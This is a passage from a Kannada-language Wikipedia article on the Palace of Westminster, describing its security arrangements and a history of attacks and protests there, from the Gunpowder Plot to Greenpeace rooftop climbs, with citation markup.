ವರೆಗೆ ಚಾಚಿರುವ ಹೊರ ವಲಯವದಲ್ಲಿ ಯಾವುದೇ ಹಡಗು-ದೋಣಿಗಳನ್ನು ಪ್ರವೇಶಿಸಲು ಅನುಮತಿ ನೀಡಲಾಗುವುದಿಲ್ಲ.<ref>{{Cite web |url=http://www.pla.co.uk/notice2mariners/index_perm.cfm/flag/2/id/1090/site/recreation |title=Permanent Notice to Mariners P27 |publisher=Port of London Authority |accessdate=3 December 2009 |archive-date=4 ಅಕ್ಟೋಬರ್ 2011 |archive-url=https://web.archive.org/web/20111004200446/http://www.pla.co.uk/notice2mariners/index_perm.cfm/flag/2/id/1090/site/recreation |url-status=dead }}</ref> ಇತ್ತೀಚಿನ ಭದ್ರತಾ ವಿಫಲತೆಗಳ ಹೊರತಾಗಿಯೂ, ಸಾರ್ವಜನಿಕ ಸದಸ್ಯರು, ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ನಲ್ಲಿ ಅಪರಿಚಿತರ ಗ್ಯಾಲರಿಗೆ ಪ್ರವೇಶಿಸುವುದನ್ನು ಮುಂದುವರೆಸಿದ್ದಾರೆ. ಲೋಹ ಪತ್ತೆಗಳ ಮೂಲಕ ಸಂದರ್ಶಕರು ಸಾಗಿಹೋಗುತ್ತಾರೆ, ಹಾಗು ಅವರಲ್ಲಿದ್ದ ವಸ್ತುಗಳನ್ನು ಸ್ಕ್ಯಾನ್ ಮಾಡಲಾಗುತ್ತದೆ.<ref>{{Cite web |url=http://www.parliament.uk/visiting/access/security/ |title=Security information |publisher=UK Parliament |accessdate=5 August 2010}}</ref> ಮೆಟ್ರಪಾಲಿಟನ್ ಪೋಲಿಸ್ ಪಡೆಯ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆ ವಿಭಾಗದಿಂದ ಬಂದಂತಹ ಪೋಲಿಸ್ ಗೆ, ಡಿಪ್ಲೋಮ್ಯಾಟಿಕ್ ಪ್ರೊಟೆಕ್ಷನ್ ಗ್ರೂಪ್ ನ ಶಸ್ತ್ರಸಜ್ಜಿತ ಪೋಲಿಸ್ ನಿಂದ ಬೆಂಬಲ ದೊರೆಯುತ್ತದೆ. ಇವರು ಅರಮನೆಯ ಹೊರಗೆ ಮತ್ತು ಒಳಗೆ ಯಾವಾಗಲೂ ಕಾರ್ಯಪ್ರವೃತ್ತರಾಗಿರುತ್ತಾರೆ. ಸಿರಿಯಸ್ ಆರ್ಗನೈಸ್ಡ್ ಕ್ರೈಮ್ ಅಂಡ್ ಪೋಲಿಸ್ ಆಕ್ಟ್ ೨೦೦೫ ರ ಅಡಿಯಲ್ಲಿ, ೨೦೦೫ ರ ಆಗಸ್ಟ್ ೧ ರಿಂದ ಮೆಟ್ರಪಾಲಿಟನ್ ಪೋಲಿಸ್ ಪಡೆಯಿಂದ ಮೊದಲೇ ಅನುಮತಿ ಪಡೆಯದೇ, ಅರಮನೆಯ ಸುತ್ತ ಸರಿಸುಮಾರು {{Convert|1|km|mi|1}} ಕಿಲೋಮೀಟರ್ ವರೆಗೆ ವ್ಯಾಪಿಸಿರುವ ಉದ್ದೇಶಿತ ಪ್ರದೇಶದೊಳಗೆ ಪ್ರತಿಭಟನೆ ಮಾಡಿದಲ್ಲಿ, ಅದು ಕಾನೂನು ಬಾಹಿರವಾಗುವುದು.<ref>{{Cite web |url=http://www.england-legislation.hmso.gov.uk/si/si2005/20051537.htm |title=The Serious Organised Crime and Police Act 2005 (Designated Area) Order 2005 |date=8 June 2005 |publisher=[[Office of Public Sector Information]] |accessdate=21 May 2010 |archive-date=18 ಜೂನ್ 2008 |archive-url=https://web.archive.org/web/20080618025152/http://www.england-legislation.hmso.gov.uk/si/si2005/20051537.htm |url-status=dead }}</ref> === ಘಟನೆಗಳು === ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯ ಭದ್ರತೆಯನ್ನು ಒಡೆಯಲು ಮಾಡಿದ ಪ್ರಸಿದ್ಧ ಪ್ರಯತ್ನವೆಂದರೆ, ೧೬೦೫ ರಲ್ಲಿ ಮಾಡಲಾದ ವಿಫಲ ಯತ್ನದ ಕೋವಿಮದ್ದಿನ ಪ್ರದೇಶದ ಮೂಲಕವಾಗಿದೆ. ಪ್ರೊಟೆಸ್ಟೆಂಟ್ ರಾಜ ಜೇಮ್ಸ್I ನನ್ನು ಕೊಂದು ಆ ಸ್ಥಾನದಲ್ಲಿ ಕ್ಯಾಥೊಲಿಕ್ ರಾಜನನ್ನು ಕೂರಿಸುವ ಮೂಲಕ ಕ್ಯಾಥೊಲಿಕ್ ಸಿದ್ಧಾಂತವನ್ನು ಇಂಗ್ಲೆಂಡ್ ನಲ್ಲಿ ಪುನಃ ಸ್ಥಾಪಿಸಲೆಂದು ಕೆಳವರ್ಗದ ರೋಮನ್ ಕ್ಯಾಥೋಲಿಕ್ ಗುಂಪಿನವರು ಈ ಪಿತೂರಿ ನಡೆಸಿದ್ದರು. ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ನ ಕೆಳಗೆ ದೊಡ್ಡ ಮಟ್ಟದ ಕೋವಿಮದ್ದನ್ನು ಇರಿಸಿ, ಇದನ್ನು ಪಿತೂರಿಗಾರರಲ್ಲಿ ಒಬ್ಬನಾದ ಗೈ ಫ್ಯಾವ್ಕೆಸ್ ಎಂಬಾತ ೧೬೦೫ ರ ನವೆಂಬರ್ ೫ ರಂದು ನಡೆಯಲಿದ್ದ ಸಂಸತ್ತಿನ ಅಧಿವೇಶನದ ಆರಂಭದ ಸಂದರ್ಭದಲ್ಲಿ ಆಸ್ಫೋಟಿಸಲೆಂದು ಯೋಜಿಸಿದ್ದ. ಈ ಪ್ರಯತ್ನ ಯಶಸ್ವಿಯಾಗಿದ್ದಿದ್ದರೆ ಸ್ಫೋಟವು ರಾಜ, ಅವರ ಕುಟುಂಬ ಮತ್ತು ಬಹುಪಾಲು ಉತ್ತಮ ಪ್ರತಿನಿಧಿಗಳನ್ನು ಕೊಂದು ಅರಮನೆಯನ್ನು ನಾಶಮಾಡಿಬಿಟ್ಟಿರುತ್ತಿತ್ತು. ಅದೇನೇ ಆದರೂ, ಈ ಪಿತೂರಿಯನ್ನು ಪತ್ತೆಹಚ್ಚಲಾಯಿತು. ಅಲ್ಲದೇ ಬಹುಪಾಲು ಪಿತೂರಿಗಾರರನ್ನು ತಪ್ಪಿಸಿಕೊಳ್ಳುವಾಗ ಸೆರೆಹಿಡಿಯುವ ಪ್ರಯತ್ನದಲ್ಲಿ ಕೊಲ್ಲಲಾಯಿತು ಅಥವಾ ಬಂಧಿಸಲಾಯಿತು. ಉಳಿದುಕೊಂಡವರು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣದಲ್ಲಿ ರಾಜದ್ರೋಹವನ್ನು ಎಸೆಗಲು ಪ್ರಯತ್ನಿಸಿದ್ದರು. ಅವರನ್ನು ತಪ್ಪಿತಸ್ಥರೆಂದು ನಿರ್ಣಯಿಸಿ ನೇಣುಹಾಕುವ, ಎಳೆಯುವ ಮತ್ತು ತುಂಡರಿಸುವ ಮೂಲಕ ಅವರಿಗೆ ಮರಣದಂಡನೆ ವಿಧಿಸಲಾಯಿತು. ಅಲ್ಲಿಂದ ಸಂಸತ್ತಿನ ಪ್ರತಿ ಅಧಿವೇಶನದ ಆರಂಭದ ಮೊದಲು ಅರಮನೆಯ ನೆಲಮಾಳಿಗೆಗಳನ್ನು ಯೆಮೆನ್ ಆಫ್ ದಿ ಗಾರ್ಡ್ ತಪಾಸಣೆ ಮಾಡುತ್ತಿದ್ದರು. ಇದು ರಾಜನ ಆಳ್ವಿಕೆಯ ವಿರುದ್ಧ ಮಾಡಲಾದ ಪ್ರಯತ್ನಗಳು ನಡೆಯದಂತೆ ತಡೆಯಲು ನಡೆಸಿಕೊಂಡು ಬಂದ ಸಾಂಪ್ರದಾಯಿಕ ಮುಂಜಾಗ್ರತಾ ಕ್ರಮವಾಗಿದೆ.<ref>{{Cite web |url=http://www.parliament.uk/documents/commons-information-office/g08.pdf |title=The Gunpowder Plot |year=2006 |month=September |format=PDF |publisher=House of Commons Information Office |accessdate=5 August 2010}}</ref> [[ಚಿತ್ರ:Assassination of Spencer Perceval.jpg|thumb|left|1812 ರಲ್ಲಿ ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ನ ಲಾಬಿಯಲ್ಲಿ ಪ್ರಧಾನ ಮಂತ್ರಿ ಸ್ಪೆನ್ಸರ್ ಪರ್ಸೆವಲ್ ರವರ ಹತ್ಯೆ ನಡೆದಿರುವುದು]] ಹಿಂದಿನ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆ ಕೂಡ ೧೮೧೨ರಲ್ಲಿ ನಡೆದ ಪ್ರಧಾನ ಮಂತ್ರಿಯ ಹತ್ಯಾ ಸ್ಥಳವಾಗಿತ್ತು. ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ನ ಲಾಬಿಯ ಸಂದರ್ಭದಲ್ಲಿ, ಸಂಸದೀಯ ತಪಾಸಣೆಗೆಂದು ತೆರಳುತ್ತಿರುವಾಗ ಸ್ಪೆನ್ಸರ್ ಪರ್ಸೆವಲ್ ರವರನ್ನು, ಲಿವರ್ ಪೂಲ್ ನ ವ್ಯಾಪಾರಿ, ಹುಚ್ಚು ಸಾಹಸಿಗ ಜಾನ್ ಬೆಲ್ಲಿಂಗ್ಯಾಮ್ ಎಂಬಾತ ಗುಂಡು ಹಾರಿಸಿ ಕೊಲ್ಲುತ್ತಾನೆ. ಪರ್ಸೆವಲ್ ಹತ್ಯೆಗೀಡಾದ ಏಕ ಮಾತ್ರ ಬ್ರಿಟಿಷ್ ಪ್ರಧಾನ ಮಂತ್ರಿಯಾಗಿ ಚರಿತ್ರೆಯಲ್ಲಿ ಉಳಿದುಕೊಂಡರು.<ref>{{Cite web |url=http://www.bbc.co.uk/history/interactive/timelines/primeministers_pol/index_embed.shtml |title=Prime Ministers and Politics Timeline |publisher=BBC |accessdate=16 May 2010}}</ref> ಹೊಸ ಅರಮನೆಯು ಲಂಡನ್ ಗೋಪುರದೊಂದಿಗೆ ೧೮೮೫ ರ ಜನವರಿ ೨೪ ರಂದು ಫೀನ್ಯಿನ್ ಕ್ರಾಂತಿಕಾರರು ಎಸೆದ ಬಾಂಬುಗಳಿಗೆ ಗುರಿಯಾಯಿತು. ಮೊದಲ ಬಾಂಬನ್ನು, ಸೆಂಟ್ ಮೇರಿ ನೆಲಮಾಳಿಗೆಯ ಪೂಜಾ ಮಂದಿರದ ಮೆಟ್ಟಿಲುಗಳ ಮೇಲೆ, ಡೈನಮೈಟ್ ಅನ್ನು ಒಳಗೊಂಡಿದ್ದ ಕಪ್ಪು ಚೀಲವನ್ನು ಸಂದರ್ಶಕನೊಬ್ಬ ಪತ್ತೆಹಚ್ಚಿದನು. ವಿಲಿಯಂ ಕೋಲೆ ಎಂಬ ಪೋಲಿಸ್ ಪೇದೆ (PC) ಈ ಚೀಲವನ್ನು ಹೊಸ ಅರಮನೆಯ ಅಂಗಳಕ್ಕೆ ಕೊಂಡೊಯ್ಯಲು ಪ್ರಯತ್ನಿಸುತ್ತಿದ್ದ , ಆದರೆ ಚೀಲವು ಹೆಚ್ಚು ಬಿಸಿಯಾದಾಗ ಕೋಲೆ ಅದನ್ನು ಬಿಟ್ಟುಬಿಟ್ಟ, ನಂತರ ಅದು ಸ್ಫೋಟಿಸಿತು.<ref name="Albert Medal">{{Cite web |url=http://www.parliament.uk/about/living-heritage/building/cultural-collections/medals/collection/albert-medal/story/ |title=The Albert medal: The story behind the medal in the collection |publisher=UK Parliament |accessdate=5 August 2010}}</ref> ಈ ಸ್ಫೋಟವು ನೆಲದ ಮೇಲೆ {{Convert|1|m|ft|0}} ವ್ಯಾಸದಷ್ಟು ಗುಳಿಯನ್ನು ಉಂಟುಮಾಡಿತು, ಪೂಜಾಮಂದಿರದ ಚಾವಣಿಯನ್ನು ಹಾಳುಮಾಡಿತಲ್ಲದೇ, ಸೆಂಟ್ ಸ್ಟೆಫೆನ್ ನ ಮುಖಮಂಟಪದಲ್ಲಿದ್ದ ಬಣ್ಣದ ಗಾಜಿನ ದಕ್ಷಿಣ ಕಿಟಕಿಗಳನ್ನು ಒಳಗೊಂಡಂತೆ ಎಲ್ಲಾ ಕಿಟಕಿಗಳನ್ನು ಚೂರು ಚೂರು ಮಾಡಿತು.<ref>{{Cite news |title=All England Frightened; the Damage to the Parliament Buildings Enormous |newspaper=The New York Times |date=26 January 1885 |url=http://query.nytimes.com/mem/archive-free/pdf?_r=1&res=9500E6D91F3BE033A25755C2A9679C94649FD7CF |format=PDF |accessdate=21 December 2009}}</ref> ಕೋಲೆ ಮತ್ತು ಅವರಿಗೆ ನೆರವು ನೀಡಲು ಬಂದಿದ್ದ PC ಕಾಕ್ಸ್ ಇಬ್ಬರಿಗೂ ತೀವ್ರವಾಗಿ ಗಾಯವಾಯಿತು.<ref name="Albert Medal"/> ಇದಾದ ತಕ್ಷಣವೇ ಅಪಾರ ಹಾನಿಯನ್ನುಂಟು ಮಾಡುವ ಮೂಲಕ ಕಾಮನ್ಸ್ ಕೊಠಡಿಯಲ್ಲಿ ಎರಡನೆಯ ಬಾಂಬ್ ಸ್ಫೋಟಿಸಿತು—ಅದರಲ್ಲೂ ಹೆಚ್ಚಾಗಿ ಇದರ ದಕ್ಷಿಣದ ತುದಿಗೆ— ಆದರೆ ಯಾವುದೇ ಅಪಾಯಗಳಾಗಲಿಲ್ಲ, ಏಕೆಂದರೆ ಸ್ಫೋಟವಾದಾಗ ಕೊಠಡಿಯು ಖಾಲಿಯಾಗಿತ್ತು.<ref>{{Cite book |last=Sullivan |first=T. D. |authorlink=Timothy Daniel Sullivan |title=Recollections of Troubled Times in Irish Politics |ol=23335082M |year=1905 |publisher=Sealy, Bryers & Walker; M. H. Gill & Son |location=Dublin |oclc=3808618 |pages=172–173}}</ref> ಈ ಘಟನೆಯಿಂದಾಗಿ ಅನೇಕ ವರ್ಷಗಳ ವರೆಗೆ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣ ಪ್ರವೇಶವನ್ನು ನಿಷೇಧಿಸಲಾಯಿತು; ಸಂದರ್ಶಕರು ೧೮೮೯ ರಲ್ಲಿ ಪುನಃ ಪ್ರವೇಶಾವಕಾಶ ಪಡೆದಾಗ ಅವರಿಗೆ ಕೆಲವೊಂದು ಪರಿಮಿತಿಗಳ ಮೇಲೆ ಅವಕಾಶ ನೀಡಲಾಯಿತು. ಅಂದರೆ ಎರಡೂ ಹೌಸ್ ಗಳ ಸದಸ್ಯರು ಅಧಿವೇಶನದಲ್ಲಿದ್ದಾಗ ಪ್ರವೇಶ ನಿರ್ಬಂಧಿಸಲಾಯಿತು.<ref>ಗೆರ್ ಹೋಲ್ಡ್(೧೯೯೯), p. ೭೭.</ref> ಪ್ರಾವಿಷನಲ್ IRA ಯವರು ಅಡಗಿಸಿಟ್ಟ {{Convert|9|kg|lb|adj=on}} ಬಾಂಬ್ ೧೯೭೪ ರ ಜೂನ್ ೧೭ ರಂದು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣದಲ್ಲಿ ಸ್ಫೋಟಿಸಿತು.<ref>{{Cite news |title=On This Day 17&nbsp;June&nbsp;– 1974: IRA bombs parliament |publisher=BBC News |date=17 June 1974 |url=http://news.bbc.co.uk/onthisday/hi/dates/stories/june/17/newsid_2514000/2514827.stm |accessdate=29 May 2008}}</ref> ಆಗ ೧೯೭೯ ರ ಮಾರ್ಚ್ ೩೦ ರಂದು ಮತ್ತೊಂದು ದಾಳಿ ನಡೆಸಲಾಯಿತು. ಕನ್ಸರ್ವೇಟಿವ್ ಪಕ್ಷದ ಪ್ರಮುಖ ರಾಜಕಾರಣಿ ಏರೆ ನಿವೆ ಅರಮನೆಯ ಹೊಸ ಕಾರು ಪಾರ್ಕ್ ನ ಹೊರಗೆ ಬಂದ ಕೂಡಲೇ ಅವರನ್ನು ಕಾರ್ ಬಾಂಬ್ ಸ್ಪೋಟಿಸಿ ಹತ್ಯೆ ಮಾಡಲಾಯಿತು.<ref>{{Cite news |title=On This day 30 March – 1979: Car bomb kills Airey Neave |publisher=BBC News |date=30 March 1979 |url=http://news.bbc.co.uk/onthisday/hi/dates/stories/march/30/newsid_2783000/2783877.stm |accessdate=29 May 2008}}</ref> ಐರಿಶ್ ನ್ಯಾಷನಲ್ ಲಿಬರೇಷನ್ ಆರ್ಮಿ ಮತ್ತು ಪ್ರಾವಿಷನಲ್ IRA ಎರಡೂ, ಈ ಹತ್ಯೆಗೆ ತಾವು ಕಾರಣವೆಂಬುದನ್ನು ಬಹಿರಂಗಪಡಿಸಿದವು; ಭದ್ರತಾ ಪಡೆಗಳು ಮಾತ್ರ ಈ ಹತ್ಯೆಗೆ ಮೊದಲಿನ ಸಂಘಟನೆಯೇ ಹೊಣೆಯೆಂದು ನಂಬಿದವು. ಅರಮನೆಯು ರಾಜಕೀಯ ಪ್ರೇರಣೆಯಿಂದ ನಡೆಸಿದ "ಡೈರೆಕ್ಟ್ ಆಕ್ಷನ್" ನ ಅನೇಕ ದಾಳಿಗಳಿಗೆ ಸಾಕ್ಷಿಯಾಗಿದೆ. ಉತ್ತರ ಐರ್ಲೆಂಡ್ ನಲ್ಲಿದ್ದ ಪರಿಸ್ಥಿಗಳ ವಿರುದ್ಧ ಪ್ರತಿಭಟಿಸಲು ೧೯೭೦ರ ಜುಲೈನಲ್ಲಿ ಅಶ್ರುವಾಯುವನ್ನು ಒಳಗೊಂಡ ಡಬ್ಬಿಯೊಂದನ್ನು ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ನ ಕೊಠಡಿಯ ಮೇಲೆ ಎಸೆಯಲಾಯಿತು. ಆಗ ೧೯೭೮ ರಲ್ಲಿ ಯಾನ ಮಿನ್ ಟಾಫ್ ಮತ್ತು ಭಿನ್ನಮತೀಯನೊಬ್ಬ ಕುದುರೆ ಲದ್ದಿ ತುಂಬಿದ್ದ ಚೀಲಗಳನ್ನು ಎಸೆದಿದ್ದರು.<ref>{{Cite news |title=Northern Ireland: Ten Years Later: Coping and Hoping |magazine=Time |date=17 July 1978 |url=http://www.time.com/time/magazine/article/0,9171,916281,00.html |accessdate=17 May 2010 |archive-date=14 ಅಕ್ಟೋಬರ್ 2010 |archive-url=https://web.archive.org/web/20101014122146/http://www.time.com/time/magazine/article/0,9171,916281,00.html |url-status=dead }}</ref> ಬಳಿಕ ನಡೆದ ಘಟನೆಯಲ್ಲಿ ೧೯೯೬ ರ ಜೂನ್ ನಲ್ಲಿ ಪ್ರದರ್ಶಕರು ಕರಪತ್ರಗಳನ್ನು ಹಂಚಿದರು.<ref name="Previous Protests">{{Cite news |title=Parliament's previous protests |publisher=BBC News |date=27 February 2008 |url=http://news.bbc.co.uk/2/hi/uk_news/politics/7266567.stm |accessdate=22 January 2010}}</ref> ಇಂತಹ ದಾಳಿಗಳ ಆತಂಕದ ಕಾರಣದಿಂದಾಗಿ ಮತ್ತು ರಾಸಾಯನಿಕ ಅಥವಾ ಜೈವಿಕ ದಾಳಿಗಳನ್ನು ನಡೆಸುವ ಸಾಧ್ಯತೆಯಿಂದಾಗಿ ೨೦೦೪ ರಲ್ಲಿ ಅಪರಿಚಿತ ವಿದೇಶಿಗರ ಗ್ಯಾಲರಿಯಾದ್ಯಂತ ಗಾಜಿನ ಪರದೆಯನ್ನು ನಿರ್ಮಿಸಲಾಯಿತು. ಹೊಸ ಪ್ರತಿಬಂಧಕವು, ವಿದೇಶಿಗರ ಗ್ಯಾಲರಿಯ ಮುಂದಿನ ಗ್ಯಾಲರಿಯನ್ನು ಆವರಿಸಿಲ್ಲ. ಇದನ್ನು ರಾಯಭಾರಿಗಳಿಗೆ, ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ನ ಸದಸ್ಯರಿಗೆ, MP ಗಳ ಮತ್ತು ಇತರ ಪ್ರತಿಷ್ಠಿತ ಅಧಿಕಾರಿಗಳ ಅತಿಥಿಗಳಿಗೆಂದು ಕಾಯ್ದಿರಿಸಲಾಗಿದೆ,<ref>ಚೆಂಬರ್ ಗ್ಯಾಲರಿ ಮಟ್ಟದ ರೇಖಾಚಿತ್ರವನ್ನು ನೋಡಿ {{Cite book |last=Peele |first=Gillian |title=Governing the UK |edition=4th |year=2004 |publisher=Blackwell Publishing |isbn=978-0631226819 |page=203}}</ref> ಅಲ್ಲದೇ ೨೦೦೪ ರ ಮೇ ತಿಂಗಳಿನಲ್ಲಿ ಈ ಭಾಗದಿಂದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಟೋನಿ ಬ್ಲೇರ್ ರ ಮೇಲೆ ಪುಡಿಹಿಟ್ಟಿನ ಬಾಂಬುಗಳೊಂದಿಗೆ ಫಾದರ್ಸ್ ೪ ಜಸ್ಟೀಸ್ ನ ಪ್ರತಿಭಟನಕಾರರು ದಾಳಿನಡೆಸಿದರು. ದತ್ತಿಸಂಸ್ಥೆಗೆಂದು ನಡೆಸಲಾದ ಹರಾಜಿನಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳಲು ಸಂದರ್ಶಕರು ಗ್ಯಾಲರಿಗೆ ಪ್ರವೇಶಿಸಿದ ನಂತರ ಈ ದಾಳಿ ಮಾಡಲಾಯಿತು.<ref>{{Cite news |title=Blair hit during Commons protest |publisher=BBC News |date=19 May 2004 |url=http://news.bbc.co.uk/2/hi/uk_news/politics/3728617.stm |accessdate=3 December 2009}}</ref> ಅನಂತರ ಸಂದರ್ಶಕರ ಗ್ಯಾಲರಿಗೆ ಪ್ರವೇಶ ಪಡೆಯಲು ವಿಧಿಸಲಾಗುವ ನಿಯಮಗಳು ಬದಲಾದವು. ಅಲ್ಲದೇ ಈಗ ಅಲ್ಲಿನ ಸಂದರ್ಶಕರ ಗ್ಯಾಲರಿಯಲ್ಲಿ ಕೂರಲು ಬಯಸುವವರು, ಮೊದಲು ಸದಸ್ಯನಿಂದ ಲಿಖಿತ ಪಾಸ್ ಅನ್ನು ಪಡೆದುಕೊಂಡಿರಬೇಕು.ಈ ಪಾಸ್ ನಲ್ಲಿ ಆ ವ್ಯಕ್ತಿಯು ಸದಸ್ಯನಿಗೆ ವೈಯಕ್ತಿಕವಾಗಿ ಪರಿಚಿತನೆಂದು ದೃಢೀಕರಿಸಲಾಗಿರುತ್ತದೆ. ಅದೇ ವರ್ಷದ ಸೆಪ್ಟೆಂಬರ್ ತಿಂಗಳಿನಲ್ಲಿ, ಐದು ಜನ ಪ್ರತಿಭಟನಕಾರರು ಕೊಠಡಿಗೆ ಧಾವಿಸಿ ಬರುವ ಮೂಲಕ ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ನ ಕಾರ್ಯ ಕಲಾಪಗಳಿಗೆ ಭಂಗಮಾಡುವುದರೊಂದಿಗೆ, ನರಿ ಬೇಟೆಯ ಮೇಲೆ ಹೇರಲಾದ ನಿಷೇಧವನ್ನು ವಿರೋಧಿಸಿದರು.<ref>{{Cite news |title=Pro-hunt protesters storm Commons |publisher=BBC News |date=15 September 2004 |url=http://news.bbc.co.uk/2/hi/uk_news/politics/3656524.stm |accessdate=3 December 2009}}</ref> ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ಇಂತಹ ಪ್ರಸಂಗಳು ನಡೆಯದಂತೆ ತಡೆದರೂ ಕೂಡ ೧೯೮೮ ರಲ್ಲಿ ಈ ರೀತಿಯ ಘಟನೆಗೆ ಅರಮನೆ ಗುರಿಯಾಗಿತ್ತು. ಶಾಲೆಗಳಲ್ಲಿ ಸಲಿಂಗಕಾಮವನ್ನು ಪ್ರೋತ್ಸಾಹಿಸದಂತೆ ನಿಷೇಧವನ್ನು ಹೇರುವುದರ ಬಗ್ಗೆ ರಚಿಸಲಾದ ವಿವಾದಾತ್ಮಕ ವಿಧಿ ೨೮ ರ ಮೇಲೆ ನಡೆಯುತ್ತಿದ್ದ ಚರ್ಚೆಯ ಸಂದರ್ಭದಲ್ಲಿ, ಮೂರು ಸಲಿಂಗಕಾಮಿ ಸಹಾಯಕಿಯರು, ಸಾರ್ವಜನಿಕ ಗ್ಯಾಲರಿಯಿಂದ ಕೊಠಡಿಗೆ ನೇರವಾಗಿ ಹಗ್ಗದೊಂದಿಗೆ ಇಳಿಯುವ ಮೂಲಕ ಪ್ರತಿಭಟಿಸಿ ಕಾರ್ಯಕಲಾಪಕ್ಕೆ ಅಡ್ಡಿಪಡಿಸಿದ್ದರು. <ref name="Previous Protests"/> [[ಚಿತ್ರ:Plane Stupid on Palace of Westminster.jpg|thumb|upright|ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯ ಚಾವಣಿಯ ಮೇಲಿರುವ ಕಾರ್ಯಕರ್ತರು ]] ಈ ಪ್ರತಿಭಟನೆಗಳು ಕೇವಲ ಅರಮನೆಯ ಒಳಾಂಗಣಕ್ಕೆ ಮಾತ್ರ ಸೀಮಿತವಾಗಿರಲಿಲ್ಲ. ಬಳಿಕ ೨೦೦೪ ರ ಮಾರ್ಚ್ ೨೦ ರಂದು ಬೆಳಗ್ಗೆ, ಗ್ರೀನ್ ಪೀಸ್ ನ ಇಬ್ಬರು ಸದಸ್ಯರು, ಅಂತಹ ದೊಡ್ಡ ದಾಳಿಯ ಸುತ್ತಲೂ ನೀಡಿದ್ದ ಭದ್ರತೆಯ ಬಗ್ಗೆ ಪ್ರಶ್ನೆಗಳನ್ನು ಕೇಳುವುದರೊಂದಿಗೆ ಇರಾಕ್ ಯುದ್ಧದ ವಿರುದ್ಧ ವಿರೋಧ ವ್ಯಕ್ತಪಡಿಸಲು ಗಡಿಯಾರದ ಗೋಪುರವನ್ನು ಹತ್ತಿದ್ದರು.<ref>{{Cite news |title= Big Ben breach 'immensely worrying' |publisher=BBC News |date=20 March 2004 |url=http://news.bbc.co.uk/2/hi/uk_news/3552491.stm |accessdate=22 January 2010}}</ref> ಅದಲ್ಲದೇ ೨೦೦೭ರ ಮಾರ್ಚ್ ನಲ್ಲಿ ಗ್ರೀನ್ ಪೀಸ್ ನ ಇತರ ನಾಲ್ಕುಜನ ಸದಸ್ಯರು, ಸಮೀಪದಲ್ಲಿದ್ದ ಕ್ರೇನ್ ನ ಮೂಲಕ ಅರಮನೆಯ ಚಾವಣಿ ಮೇಲೆ ಹತ್ತಿದ್ದರು. ಈ ಯಂತ್ರವನ್ನು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸೇತುವೆಯ ದುರಸ್ತಿಗಳಿಗಾಗಿ ಬಳಸಲಾಗುತ್ತಿತ್ತು. ಒಮ್ಮೆ, ಟ್ರೈಡೆಂಟ್ ನ್ಯೂಕ್ಲಿಯರ್ ವೆಪನ್ಸ್ ಪ್ರೋಗ್ರಾಂ ಅನ್ನು ಪರಿಷ್ಕರಿಸಲು ಮಾಡಲಾದ ಬ್ರಿಟಿಷ್ ಸರ್ಕಾರದ ಯೋಜನೆಗಳನ್ನು ವಿರೋಧಿಸಿ, {{Convert|15|m|ft|-1|adj=on}} ಮೀಟರ್ ಗಳಷ್ಟು ದೊಡ್ಡ ಬ್ಯಾನರ್ ಅನ್ನು ಅವರು ಬಿಚ್ಚಿ ಪ್ರದರ್ಶಿಸಿದ್ದರು.<ref>{{Cite news |title=Commons crane protest at Trident |publisher=BBC News |date=13 March 2007 |url=http://news.bbc.co.uk/2/hi/uk_news/england/london/6444619.stm |accessdate=22 January 2010}}</ref> ಇತ್ತೀಚಿಗೆ ೨೦೦೮ರ ಫೆಬ್ರವರಿಯಲ್ಲಿ ಪ್ಲೇನ್ ಸ್ಟುಪಿಡ್ ಗುಂಪಿನ ಐದು ಜನ ಆಂದೋಲನಗಾರರು, ಹಿತ್ರೊ ವಿಮಾನನಿಲ್ದಾಣದ ವಿಸ್ತರಣೆಯನ್ನು ವಿರೋಧಿಸಲೆಂದು ಕಟ್ಟಡದ ಚಾವಣಿಯ ಮೇಲೆ ಹತ್ತಿದ್ದರು. ಪ್ರತಿಭಟನಾಗಾರರು ಬಿಗಿ ಭದ್ರತಾ ವ್ಯವಸ್ಥೆಯ ಹೊರತಾಗಿಯೂ ಚಾವವಣಿಗಳ ಮೇಲೆ ಹತ್ತಿದ್ದನ್ನು ಕಂಡು MPಗಳು ಮತ್ತು ಭದ್ರತಾ ವ್ಯವಸ್ಥೆಯ ಪರಿಣಿತರು ಚಿಂತೆಗೊಳಗಾದರು. ಅಲ್ಲದೇ ಅವರು ಒಳಗಿನಿಂದಲೇ ಸಹಾಯ ಪಡೆದಿರಬಹುದೆಂದು ಪೋಲಿಸರು ನಂಬಿದರು.<ref>{{Cite news |title=Parliament rooftop protest ends |publisher=BBC News |date=27 February 2008 |url=http://news.bbc.co.uk/2/hi/uk_news/politics/7266512.stm |accessdate=22 January 2010}}</ref> ಇತ್ತೀಚಿಗೆ ೨೦೦೯ ರ ಅಕ್ಟೋಬರ್ ನಲ್ಲಿ ಗ್ರೀನ್ ಪೀಸ್ ನ ೪೫ ಜನ ಕಾರ್ಯಕರ್ತರು ಪರಿಸರಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಅನೇಕ ಕಾರ್ಯಕ್ರಮಗಳಿಗೆ ಕರೆ ನೀಡಲೆಂದು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಸಭಾಂಗಣದ ಚಾವಣಿಯ ಮೇಲೆ ಹತ್ತಿದ್ದರು. ಐದು ಗಂಟೆಗಳ ನಂತರ ಅವರಲ್ಲಿ 